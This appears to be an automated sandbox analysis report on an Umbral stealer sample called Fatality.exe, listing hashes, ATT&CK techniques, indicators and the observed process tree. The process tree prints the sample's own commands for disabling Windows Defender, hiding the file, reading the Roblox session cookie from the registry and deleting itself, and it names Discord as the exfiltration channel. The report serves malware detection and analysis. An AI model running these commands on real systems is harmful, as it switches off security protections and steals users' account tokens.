umbral | b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902

Analysis

max time kernel
91s
max time network
99s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
26-08-2024 18:00

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General

Target

Fatality.exe
Size

231KB
MD5

2a9d5da0bb69d53e1b68178bc63e9390
SHA1

b1170f7ca36ea613188a272dc8ff8720a586de3a
SHA256

b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902
SHA512

372288f96c8d39cba9529e7c44ce4b083eddf50dc3c3317b7b97c02d07018cdc2e0913da3e8309d548f80d68c95b9dd65e4febd4d7ca3b4d6a8df3360cf6aca3
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4ZvHYe5xypXKYZd8ZC6lY8e1mGi:joZtL+EP8pHYe5xypXKYZd8dk2

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral4/memory/3276-1-0x0000019694170000-0x00000196941B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4244	powershell.exe
1944	powershell.exe
3992	powershell.exe
2816	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Fatality.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2812	cmd.exe
2504	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
956	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2504	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3276	Fatality.exe
2816	powershell.exe
2816	powershell.exe
4244	powershell.exe
4244	powershell.exe
1944	powershell.exe
1944	powershell.exe
2276	powershell.exe
2276	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	Fatality.exe
Token: SeIncreaseQuotaPrivilege	3524	wmic.exe
Token: SeSecurityPrivilege	3524	wmic.exe
Token: SeTakeOwnershipPrivilege	3524	wmic.exe
Token: SeLoadDriverPrivilege	3524	wmic.exe
Token: SeSystemProfilePrivilege	3524	wmic.exe
Token: SeSystemtimePrivilege	3524	wmic.exe
Token: SeProfSingleProcessPrivilege	3524	wmic.exe
Token: SeIncBasePriorityPrivilege	3524	wmic.exe
Token: SeCreatePagefilePrivilege	3524	wmic.exe
Token: SeBackupPrivilege	3524	wmic.exe
Token: SeRestorePrivilege	3524	wmic.exe
Token: SeShutdownPrivilege	3524	wmic.exe
Token: SeDebugPrivilege	3524	wmic.exe
Token: SeSystemEnvironmentPrivilege	3524	wmic.exe
Token: SeRemoteShutdownPrivilege	3524	wmic.exe
Token: SeUndockPrivilege	3524	wmic.exe
Token: SeManageVolumePrivilege	3524	wmic.exe
Token: 33	3524	wmic.exe
Token: 34	3524	wmic.exe
Token: 35	3524	wmic.exe
Token: 36	3524	wmic.exe
Token: SeIncreaseQuotaPrivilege	3524	wmic.exe
Token: SeSecurityPrivilege	3524	wmic.exe
Token: SeTakeOwnershipPrivilege	3524	wmic.exe
Token: SeLoadDriverPrivilege	3524	wmic.exe
Token: SeSystemProfilePrivilege	3524	wmic.exe
Token: SeSystemtimePrivilege	3524	wmic.exe
Token: SeProfSingleProcessPrivilege	3524	wmic.exe
Token: SeIncBasePriorityPrivilege	3524	wmic.exe
Token: SeCreatePagefilePrivilege	3524	wmic.exe
Token: SeBackupPrivilege	3524	wmic.exe
Token: SeRestorePrivilege	3524	wmic.exe
Token: SeShutdownPrivilege	3524	wmic.exe
Token: SeDebugPrivilege	3524	wmic.exe
Token: SeSystemEnvironmentPrivilege	3524	wmic.exe
Token: SeRemoteShutdownPrivilege	3524	wmic.exe
Token: SeUndockPrivilege	3524	wmic.exe
Token: SeManageVolumePrivilege	3524	wmic.exe
Token: 33	3524	wmic.exe
Token: 34	3524	wmic.exe
Token: 35	3524	wmic.exe
Token: 36	3524	wmic.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeIncreaseQuotaPrivilege	5048	wmic.exe
Token: SeSecurityPrivilege	5048	wmic.exe
Token: SeTakeOwnershipPrivilege	5048	wmic.exe
Token: SeLoadDriverPrivilege	5048	wmic.exe
Token: SeSystemProfilePrivilege	5048	wmic.exe
Token: SeSystemtimePrivilege	5048	wmic.exe
Token: SeProfSingleProcessPrivilege	5048	wmic.exe
Token: SeIncBasePriorityPrivilege	5048	wmic.exe
Token: SeCreatePagefilePrivilege	5048	wmic.exe
Token: SeBackupPrivilege	5048	wmic.exe
Token: SeRestorePrivilege	5048	wmic.exe
Token: SeShutdownPrivilege	5048	wmic.exe
Token: SeDebugPrivilege	5048	wmic.exe
Token: SeSystemEnvironmentPrivilege	5048	wmic.exe
Token: SeRemoteShutdownPrivilege	5048	wmic.exe
Token: SeUndockPrivilege	5048	wmic.exe
Token: SeManageVolumePrivilege	5048	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 3524	3276	Fatality.exe	82
PID 3276 wrote to memory of 3524	3276	Fatality.exe	82
PID 3276 wrote to memory of 4308	3276	Fatality.exe	85
PID 3276 wrote to memory of 4308	3276	Fatality.exe	85
PID 3276 wrote to memory of 2816	3276	Fatality.exe	87
PID 3276 wrote to memory of 2816	3276	Fatality.exe	87
PID 3276 wrote to memory of 4244	3276	Fatality.exe	90
PID 3276 wrote to memory of 4244	3276	Fatality.exe	90
PID 3276 wrote to memory of 1944	3276	Fatality.exe	92
PID 3276 wrote to memory of 1944	3276	Fatality.exe	92
PID 3276 wrote to memory of 2276	3276	Fatality.exe	94
PID 3276 wrote to memory of 2276	3276	Fatality.exe	94
PID 3276 wrote to memory of 5048	3276	Fatality.exe	96
PID 3276 wrote to memory of 5048	3276	Fatality.exe	96
PID 3276 wrote to memory of 3468	3276	Fatality.exe	98
PID 3276 wrote to memory of 3468	3276	Fatality.exe	98
PID 3276 wrote to memory of 2008	3276	Fatality.exe	100
PID 3276 wrote to memory of 2008	3276	Fatality.exe	100
PID 3276 wrote to memory of 3992	3276	Fatality.exe	102
PID 3276 wrote to memory of 3992	3276	Fatality.exe	102
PID 3276 wrote to memory of 956	3276	Fatality.exe	104
PID 3276 wrote to memory of 956	3276	Fatality.exe	104
PID 3276 wrote to memory of 2812	3276	Fatality.exe	106
PID 3276 wrote to memory of 2812	3276	Fatality.exe	106
PID 2812 wrote to memory of 2504	2812	cmd.exe	108
PID 2812 wrote to memory of 2504	2812	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4308	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Fatality.exe
"C:\Users\Admin\AppData\Local\Temp\Fatality.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3524
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Fatality.exe"
  2⤵
  - Views/modifies file attributes
  PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fatality.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5048
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3468
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Fatality.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e3840d9bcedfe7017e49ee5d05bd1c46

SHA1
272620fb2605bd196df471d62db4b2d280a363c6

SHA256
3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

SHA512
76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
fa21dd50b4e64421076f843031c8ccf7

SHA1
2c56e94f130c0d8d77116e939ffee4e37cf982bd

SHA256
e4f21aca1e12aafa8de7af24b79a75526e902c7d4b3fea5bdb6e723976997be3

SHA512
b8de2bfeb7af06c587dd1f424d410cf83471f31a55a3ea4c4481ce07ffd9bf66ddc1f7775ecd6ac65ac33baaec90ba5a208a9aefc84f31125a50dfb919982687

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aa3drvry.bnx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2816-17-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download
memory/2816-4-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download
memory/2816-14-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download
memory/2816-13-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download
memory/2816-3-0x000001BA3DF20000-0x000001BA3DF42000-memory.dmp

Filesize
136KB

Download
memory/3276-32-0x00000196AE9E0000-0x00000196AEA30000-memory.dmp

Filesize
320KB

Download
memory/3276-31-0x00000196AE960000-0x00000196AE9D6000-memory.dmp

Filesize
472KB

Download
memory/3276-0-0x00007FF81E353000-0x00007FF81E355000-memory.dmp

Filesize
8KB

Download
memory/3276-33-0x00000196AE7B0000-0x00000196AE7CE000-memory.dmp

Filesize
120KB

Download
memory/3276-2-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download
memory/3276-1-0x0000019694170000-0x00000196941B0000-memory.dmp

Filesize
256KB

Download
memory/3276-68-0x00000196AE810000-0x00000196AE822000-memory.dmp

Filesize
72KB

Download
memory/3276-67-0x00000196AE7E0000-0x00000196AE7EA000-memory.dmp

Filesize
40KB

Download
memory/3276-75-0x00007FF81E350000-0x00007FF81EE12000-memory.dmp

Filesize
10.8MB

Download